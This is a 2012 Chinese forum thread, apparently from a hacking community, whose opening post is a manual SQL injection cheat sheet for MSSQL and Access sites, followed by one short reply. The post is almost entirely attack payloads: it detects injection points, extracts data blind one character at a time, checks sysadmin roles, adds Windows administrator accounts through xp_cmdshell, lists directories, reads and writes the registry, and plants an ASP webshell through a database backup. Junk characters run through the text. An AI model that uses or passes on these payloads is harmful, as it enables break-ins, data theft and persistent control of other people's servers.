找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2463|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
8 [9 r; q4 [0 ]8 q, [4 ]$ n6 f1.判断是否有注入;and 1=1 ;and 1=2 . v8 _  W" g0 u: l# E
6 Q" e- o* M% V3 }
2.初步判断是否是mssql ;and user>0
1 U- i! E3 {2 N* `( U/ N$ z' g
" `7 O" H% L) {: q3.注入参数是字符'and [查询条件] and ''=' ; [. J$ W2 ]4 {% m0 C- W4 W0 e/ A
' I7 j2 ~6 ~  l! z% M& k4 s* F% R
4.搜索时没过滤参数的'and [查询条件] and '%25'='
& D! ?5 h( ]+ N- h6 g$ h6 Q& G! f. ?6 N& ?) L  P. H
5.判断数据库系统
  T0 U, P3 G( b+ H' B% e;and (select count(*) from sysobjects)>0 mssql . a9 Y3 r% J2 z% D
;and (select count(*) from msysobjects)>0 access
! V6 E- d! a+ _0 z( d5 L9 V' B6 D) M
6.猜数据库 ;and (select Count(*) from [数据库名])>0
# r8 V7 d& y! r4 B  K
) a/ y3 h  t, J$ m$ ^% h7 }7.猜字段 ;and (select Count(字段名) from 数据库名)>0 - d( o% A8 @5 h! [4 X2 L

. k) h% _; C$ I% V' z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ( o$ L' Y; @( B* A# ^

# N6 r" ]4 I" `, M3 Q( J9.(1)猜字段的ascii值(access) . \$ ?5 u# |* S2 Y0 n; p9 O9 r
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
; @: {9 X* K& x# b( w3 w  i6 X7 `* x! p+ W0 Z, G
(2)猜字段的ascii值(mssql) . y, e2 g6 _: O8 ?0 U
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ) C7 F% T/ h5 A
1 }" l/ U1 m( S8 M
10.测试权限结构(mssql) : K, F5 \& K- W7 S" ^8 P# n
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9 D$ r7 h. Y, T# ~( y2 K
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ) A5 N) `) G8 p8 A! D
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % j4 B' U4 Q# w4 C
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- W! J- K! j& m+ I;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , b/ e" t( r, Y0 T  M$ x
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) X; Z" }, c  x  O* h3 n' j9 k;and 1=(select IS_MEMBER('db_owner'));--
9 \. q" a/ u" p+ P% n# v9 x- z) Q1 K7 D8 l; A/ P% }6 f3 I9 a
11.添加mssql和系统的帐户 3 p4 c. r) J$ R" B& z& P% Q( @9 b
;exec master.dbo.sp_addlogin username;-- ) \9 V' H7 t) E4 X& Q8 U  g9 e
% x( \! w* p$ }( B
;exec master.dbo.sp_password null,username,password;--
0 i) t8 O' T( g! h/ y9 Q& f$ l" V/ D4 S2 `0 `. F
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- , L8 E/ S0 b$ d- e
: Y9 ?; C; |8 {9 H2 o) `* e
;exec master.dbo.xp_cmdshell 'net user username password 2 O& E$ R2 |( V! m
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
4 b/ B: S' C4 B5 e! p9 Q  z4 |0 w% h2 _2 _$ B
;exec master.dbo.xp_cmdshell 'net user username password /add';--
/ w3 U0 i: S7 x/ R
: \% T" P8 y1 k; r: o8 t1 Q& D;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ; P1 b4 \: j# r; M; {6 j
4 C0 f8 F& b, V9 u
12.(1)遍历目录 9 k" l8 q8 N' f6 |8 W# F3 X& s5 q
+ V& l! Q8 i. r" H
;create table dirs(paths varchar(100), id int)
1 S) J7 Q, M, @;insert dirs exec master.dbo.xp_dirtree 'c:\'
% c. r5 H& [# Y+ D; Q;and (select top 1 paths from dirs)>0
* f1 s3 `! l0 ]$ ];and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 6 F" {3 G8 ^$ O) N
: G  X$ h; ~$ W: c) h" o
(2)遍历目录
- u& d9 r" N) d( R* J7 p7 L) V' Z;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0 Z7 y/ A6 b1 q* |" F) k
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 # x- O0 S9 k7 b: Y6 L4 G' k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
8 j1 t9 e! F+ F+ m  ?;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4 d0 F! I  L. W6 p% |6 z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $ ~9 f  z- E( [& V

: w3 d9 h* j# }' w# R13.mssql中的存储过程 5 v& y6 ~6 w- B3 N

0 M) j9 }3 Z% u; I1 w7 Pxp_regenumvalues 注册表根键, 子键
- z/ u" W; K: u- \;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ; d5 o8 D- s  x  ?
) A7 [( x# b5 e& \9 K
xp_regread 根键,子键,键值名
( V! O8 d$ x) k9 N' g5 A;exec xp_regread
% b( a5 l! J: \) j, w'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值   s8 d, l: i- f" R

5 @8 S- B; K2 x9 ?xp_regwrite 根键,子键, 值名, 值类型, 值
: l- @. O6 p9 x3 }* z0 Q3 d值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 & Z* E, V7 e9 q
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
3 f! r0 G: L/ P# z' r5 m3 d% H+ O4 O% Z+ F! p
xp_regdeletevalue 根键,子键,值名 / y; [: R! L8 t- G7 Q
! F6 D) E8 @# m9 n6 d& F. G8 E
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 % f. Y! J" K; P+ A5 E9 p
( t( @& B, g- M  E
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 - @* V7 |) A' [3 Q0 L

* l9 K7 L$ Q/ v  s* d" r) ~9 j14.mssql的backup创建webshell 7 E3 {  G7 l; l# `& `- u2 g
use model
. d" D1 J2 D, w0 t* @# G( d% Vcreate table cmd(str image);
. B( q9 e1 R! v' w8 o% Einsert into cmd(str) values ('');
' z" s: g: z; \backup database model to disk='c:\l.asp';
5 n4 u( d. b8 b/ B9 B% _7 y) M( z; i
15.mssql内置函数 3 k; e7 ]8 v% w# o
;and (select @@version)>0 获得Windows的版本号
: a0 y4 ~' z  X9 q, Z6 };and user_name()='dbo' 判断当前系统的连接用户是不是sa   I5 Q5 j0 f: a8 T2 C. [
;and (select user_name())>0 爆当前系统的连接用户
/ U: X& h4 C3 V;and (select db_name())>0 得到当前连接的数据库
# i0 f0 E' j) X' L+ z
+ ^2 L5 O% k, f( D- \8 a- j16.简洁的webshell
! n- p5 ^' o( D% e6 S$ G; k: \
0 S7 ?( c$ B1 Q# Z9 N6 }# Luse model ) C9 w" o4 Z% Q; l
) @) ^0 G; J# j% c- [
create table cmd(str image);
8 }4 {  R6 d+ r( ]$ g7 K+ G' C$ p' o8 f; I0 @7 @/ ~; J! V
insert into cmd(str) values (''); 0 ]+ B- q8 u/ a3 e+ y9 p0 {. x

( m) f3 v' ]; h- W" f+ q% k2 g0 fbackup database model to disk='g:\wwwtest\l.asp'; 4 O4 j2 @* Z& ~" i# ?4 p# p
. v- \2 `1 B: y, K' O" y
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表